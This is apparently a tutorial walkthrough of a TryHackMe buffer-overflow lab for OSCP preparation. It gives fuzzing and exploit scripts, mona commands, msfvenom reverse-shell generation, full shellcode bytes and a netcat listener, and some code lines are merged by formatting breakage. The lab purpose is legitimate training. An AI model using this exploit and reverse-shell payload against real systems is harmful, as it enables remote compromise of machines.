Buffer Overflow Attacks
As I was taking the OSCP course I found that buffer overflows were a tedious process and very frustrating to understand as a beginner. I hope this walkthrough resonates with anyone having a hard time with them. This walkthrough will help you get prepared for the OSCP exam or CTF challenge. Nowadays Windows has mitigation controls for these types of attacks.
WARNING: You will need some sort of python experience with basics of running a python script and changing things in a script in order for it to work.
- If you don't already have a tryhackme account I would create one to follow this walkthrough. We will be going through the buffer overflow prep room. Install the tryhackmes vpn client file and connect to it with openvpn via terminal.
openvpn <vpnfilename>
Here are some terms to keep note of following this walkthrough:
- EIP =>The Extended Instruction Pointer (EIP) is a register that contains the address of the next instruction for the program or command.
- ESP=>The Extended Stack Pointer (ESP) is a register that lets you know where on the stack you are and allows you to push data in and out of the application.
- JMP =>The Jump (JMP) is an instruction that modifies the flow of execution where the operand you designate will contain the address being jumped to.
- \x41, \x42, \x43 =>The hexadecimal values for A, B and C. For this exercise, there is no benefit to using hex vs ascii, it’s just my personal preference.
2. Create the following two python scripts in a working directory and save it as anything you want. I like to write comment notes in mine with steps I took to perform the overflow attack.
Fuzzer Script
# Fuzzing scriptimport socket, time, sysip = "your machine ip here";
port = 1337
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Exploit Script
# Exploit Scriptimport socketip = "your machine ip here"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""buffer = prefix + overflow + retn + padding + payload + postfixs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Once you are all signed up, join the buffer overflow prep room mentioned above it will give you an IP to connect to the box via RDP.
xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea
3. You should see immunity debugger tool on the desktop once you are on the windows machine. Make sure to always run immunity debugger as admin if possible. There are a few things we need to do in order to get started by baking monas tools into immunity debugger. By pasting the following line at the bottom of immunity debugger and hitting enter.
Mona.py is a python script that can be used to automate and speed up specific searches while developing exploits (typically for the Windows platform). It runs on Immunity Debugger and WinDBG, and requires python 2.7
!mona config -set workingfolder c:\mona\%p
4. If you don't have visual code studio installed on kali I would highly recommend it. This makes things easier for running your code and debugging any issues with multiple tabs.
5. Once you have the two python scripts open on visual code studio we can hook the vulnerable app into immunity debugger by clicking on File > Open > Desktop > vulnerable-apps > oscp.exe
There are some keyboard shortcuts that are going to make life easier for running the target application in immunity debugger and restarting it when performing the different steps of the exploit.
ctrl-F2 to reload the application in immunity debuggerF9 to start the program up or click on play button icon
6. Lets start the application after we opened it from the File menu and hit F9.
Jump into visual code studio by typing in the following in terminal:
code .
Open your fuzzing script and exploit script and ensure to add your target machines IP in the “ip=” variable. Once you added the ip go ahead and run the fuzzing script by clicking on the play button icon on top right.
7. If you switch back to immunity debugger you will notice the program paused at the bottom right of the window. Ensure to gather the number of bytes it took to crash the application from the visual code studio terminal window when you executed the fuzz python script. You will notice that EIP was overwritten with 41414141 showing a successful crash.
8. Now we need to find the exact address where the program crashed. You can add an extra 400 bytes just to be safe to the original byte crash amount which gives us some wiggle room for padding etc. Run the following command in a terminal window:
msf-pattern_create -l 2400
9. Copy and pasta the payload generated from msf-pattern_create and place it into the “payload=” variable in the exploit script.
10. Go back into immunity debugger and ensure you refresh the target app with ctrl-F2 and click the play button to start the app up again. You will need to do this over and over again for each step of the exploit. Now run the new updated exploit with the added payload. You should see the program crash again in a “paused” state. Notice how EIP changed this time with anew value? Take not of this value and paste it into a notepad.
Find Offset Value
11. We need to determine the offset value for this EIP. Run the following command in a terminal window:
msf-pattern_offset -l 2400 -q 6F43396E
12. Lets add this value to our exploit script in the “offset=” variable along with updating the “retn=” variable with BBBB. Your exploit script should look like the one below.
13. Refresh the app in immunity debugger once again using ctrl-F2 and hit the play icon button. Run your new updated exploit and take note of the changes in EIP and ESP. Notice how the value for EIP is 42424242? This equals the four B’s we added in our script as hex.
Finding Bad Characters
14. Time to find the all of the bad characters for our exploit. By default \x00 is considered as a BADCHAR so it should be neglected. This helps us to identify the characters which are bad for our program.
Here are the steps that we will rinse and repeat:
- Remove character from byte array using mona
- Remove bad character from exploit payload
- Refresh and Start program in immunity
- Compare New ESP value with mona command
- Fire off exploit and repeat
Generate a byte array using mona, and exclude the null byte (\x00) by default.
Copy and paste the following in the bottom bar in immunity debugger:
!mona bytearray -b "\x00"
15. Now we need to generate a string of bad chars from \x01 to \xff that is identical to the byte array.
Create the following python script in another window within visual code studio and execute it:
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
16. Copy and paste the generated chars into the exploit script under the “payload=” variable.
17. Refresh the program in immunity debugger using ctrl-F2 and hit play again. Run the exploit with the updated payload and notice the change in ESP.
If we right click on the highlighted ESP value and select “Follow in dump” we can see where the bad characters are being present.
18. Taking note of the new ESP value lets fire up mona again in immunity debugger with the following command replacing it with your new ESP value. Your ESP value will be different from mine so ensure to add yours at the end of the following command:
!mona compare -f C:\mona\oscp\bytearray.bin -a 0191FA30
Our whole objective here is to keep removing the badchars from our exploit payload in order to get “unmodified” when we run the mona compare tool on each generated ESP value. In the badchars column you will notice that 07 is next on the list to eliminate do not pay attention to 00 or the other values because we will go from value by value for each time we run the exploit. Once we remove it from exploit script refresh the target program in immunity debugger and run the following mona command at the bottom window.
!mona bytearray -b "\x00\x07"
19. Run exploit script again and do not refresh the program in immunity. Notice the new ESP value and run the same mona compare script with new ESP value to gather the badchars.
!mona compare -f C:\mona\oscp\bytearray.bin -a 018CFA30
Our next value to remove from payload is 2e which is \x2e\ in our exploit script. You can do a ctrl-F in visual code studio to search for the string makes it easier. Save the script go back in immunity debugger again and refresh the app and run this command:
!mona bytearray -b "\x00\x07\x2e"
Start the target app again hitting the play button and run the new updated exploit. Keep repeating the above steps in exact order until you get “unmodified”
20. Once you got unmodified its time to our jump point for the shellcode. Run the following command without refreshing the app in immunity:
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Here we can locate our pointer for shellcode execution. Notice how ASLR is set to “False” ? This means there is no windows mitigation controls for the buffer overflow attack. I picked the first value in the list. We now need to do little Endian to reverse the value we picked and add it to our exploit script under the “retn=” variable.
Address: 625011AF
Reverse: “\xaf\x11\x50\x62”
Lets also add some padding to the exploit script to give our shellcode some wiggle room. Updated script should now look like this:
21. We need to add one more thing to our exploit script and that is the actual shellcode which we will generate with MSFvenom.
Ensure to replace your machines IP that tryhackme gives you from the tun0 adapter in the following command:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.43.73 LPORT=4444 EXITFUNC=thread -b “\x00\x07\x2e\xa0” -f c
Update the scripts “payload=” variable with the generated shell code and ensure to close it with parenthesis with double quotes inside.
Example:
ip = "10.10.122.112"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ("\xb8\xa2\xc4\x6d\x3f\xdb\xc4\xd9\x74\x24\xf4\x5b\x2b\xc9"
"\xb1\x52\x31\x43\x12\x83\xc3\x04\x03\xe1\xca\x8f\xca\x19"
"\x3a\xcd\x35\xe1\xbb\xb2\xbc\x04\x8a\xf2\xdb\x4d\xbd\xc2"
"\xa8\x03\x32\xa8\xfd\xb7\xc1\xdc\x29\xb8\x62\x6a\x0c\xf7"
"\x73\xc7\x6c\x96\xf7\x1a\xa1\x78\xc9\xd4\xb4\x79\x0e\x08"
"\x34\x2b\xc7\x46\xeb\xdb\x6c\x12\x30\x50\x3e\xb2\x30\x85"
"\xf7\xb5\x11\x18\x83\xef\xb1\x9b\x40\x84\xfb\x83\x85\xa1"
"\xb2\x38\x7d\x5d\x45\xe8\x4f\x9e\xea\xd5\x7f\x6d\xf2\x12"
"\x47\x8e\x81\x6a\xbb\x33\x92\xa9\xc1\xef\x17\x29\x61\x7b"
"\x8f\x95\x93\xa8\x56\x5e\x9f\x05\x1c\x38\xbc\x98\xf1\x33"
"\xb8\x11\xf4\x93\x48\x61\xd3\x37\x10\x31\x7a\x6e\xfc\x94"
"\x83\x70\x5f\x48\x26\xfb\x72\x9d\x5b\xa6\x1a\x52\x56\x58"
"\xdb\xfc\xe1\x2b\xe9\xa3\x59\xa3\x41\x2b\x44\x34\xa5\x06"
"\x30\xaa\x58\xa9\x41\xe3\x9e\xfd\x11\x9b\x37\x7e\xfa\x5b"
"\xb7\xab\xad\x0b\x17\x04\x0e\xfb\xd7\xf4\xe6\x11\xd8\x2b"
"\x16\x1a\x32\x44\xbd\xe1\xd5\x61\x40\xec\xad\x1e\x46\xee"
"\xbc\x82\xcf\x08\xd4\x2a\x86\x83\x41\xd2\x83\x5f\xf3\x1b"
"\x1e\x1a\x33\x97\xad\xdb\xfa\x50\xdb\xcf\x6b\x91\x96\xad"
"\x3a\xae\x0c\xd9\xa1\x3d\xcb\x19\xaf\x5d\x44\x4e\xf8\x90"
"\x9d\x1a\x14\x8a\x37\x38\xe5\x4a\x7f\xf8\x32\xaf\x7e\x01"
"\xb6\x8b\xa4\x11\x0e\x13\xe1\x45\xde\x42\xbf\x33\x98\x3c"
"\x71\xed\x72\x92\xdb\x79\x02\xd8\xdb\xff\x0b\x35\xaa\x1f"
"\xbd\xe0\xeb\x20\x72\x65\xfc\x59\x6e\x15\x03\xb0\x2a\x35"
"\xe6\x10\x47\xde\xbf\xf1\xea\x83\x3f\x2c\x28\xba\xc3\xc4"
"\xd1\x39\xdb\xad\xd4\x06\x5b\x5e\xa5\x17\x0e\x60\x1a\x17"
"\x1b")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
22. Refresh the app again in immunity debugger and click play to run it. Go back in your terminal and run a netcat listener to grab the reverse shell when we fire off the exploit.
nc -lvp 4444
When you visit the terminal you ran the netcat listener on you should see the windows shell if everything was done correctly.